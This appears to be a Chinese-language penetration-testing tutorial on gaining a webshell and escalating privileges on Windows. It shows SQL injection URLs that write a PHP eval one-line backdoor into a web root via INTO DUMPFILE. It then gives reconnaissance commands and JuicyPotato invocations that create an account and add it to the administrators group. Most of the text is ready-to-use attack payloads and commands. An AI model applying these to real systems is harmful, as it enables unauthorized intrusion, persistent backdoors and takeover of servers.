Webshell:拥有网站代码的执行权限,例如一句话木马就是一个Webshell
一、MySql导出函数:
将数据库的内容导出到某个文件
1、into outfile
可以导出多行,会对导出内容中的\n等特殊字符进行转义,并且在文件内容的末尾增加一个新行,导出二进制文件时会出错
2、into dumpfile
只能导出一行,对文件内容是原意写入,未做任何转移和增加,可以导出二进制文件,可以以十六进制写入
3、load_file
二、获取绝对路径:
1、报错获取绝对路径
2、@@datadir
获取数据存储的路径
http://sqsu.cn/?id=1 and 1=2 union select 1,@@datadir
三、示例
http://sqsu.cn/?id=1 and 1=2 union select 1,'<?php eval($_REQUEST[8]);?>' into dumpfile 'c:/phpstudy/www/yj.php'
注意,斜杠、反斜杠可能会被转义
四、提权
有用的CMD命令
#连接菜刀,打开虚拟终端
#显示当前系统登录用户的用户名
whoami
#查看所有用户
net user
#查看管理员组的成员
net localgroup administrators
#查看系统开放的端口
netstat -ano
#查看本机运行的程序,类似于任务管理器
tasklist
#查看计算机信息
systeminfo
#添加用户yj,密码是123456,如果权限不够,无法添加
net user yj 123456 /add
进入菜刀后,可以尝试打开C:/users/Administrator,如果打不开,证明权限不够。
很多时候,渗透测试人员拿到了网站权限,会发现,当前网站权限调用的CMD命令,并不是服务器管理员权限,这个时候就需要想办法提升自己的权限,只有权限够了,才可以更好地做内网测试。
提权的方法:
1、不同的服务组件使用不同的权限。
例如,网站权限低,数据库权限高,那么我们就想办法让其他组件帮我们做事。
例如,目标机器上运行了一些其他的服务,这些服务只能从内部访问,当我们进入内网后,我们也可以调用。(FTP|Redis等等)
这个方法需要一定的知识积累,早期不推荐。
2、利用Windows(常见)
查看Windows打了什么补丁,在网上查找,对比补丁寻找漏洞,然后寻找对应的提权工具。简单地说,寻找补丁号,是为了排除相应的漏洞,去寻找还没有打补丁的漏洞。
运行systeminfo命令,就可以找到相应的补丁程序。
HotPotato(烂土豆)
HotPotato(烂土豆)是最常用的Windows提权工具,提权工具各式各样,所以这里就不分析原理了,而且Windows操作系统的漏洞,如果不是专门研究的,其实并不容易分析。
juicy-potato一定会报毒,建议虚拟机下载或者添加信任,当然,一般来说,Github上面的补丁,会给源码的就不太会有后门。
原版的juicy-potato命令非常复杂,例如JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D},涉及很多东西,而且运行了CMD,出现在管理员界面,去操作特别麻烦,以下示例用的是魔改后的版本。
#示例
#将juicy-potato通过菜刀添加到目标电脑,运行虚拟终端
JuicyPotato.exe
JuicyPotato.exe -p "whoami"
#创建yj账户
JuicyPotato.exe -p "net user yj 123456@xy /add"
#将yj账户添加到管理员组
JuicyPotato.exe -p "net localgroup administrators yj /add"
#查看管理员账户
JuicyPotato.exe -p "net localgroup administrators"
提权添加账户时,密码最好写得复杂些,因为有些服务器存在密码复杂性规则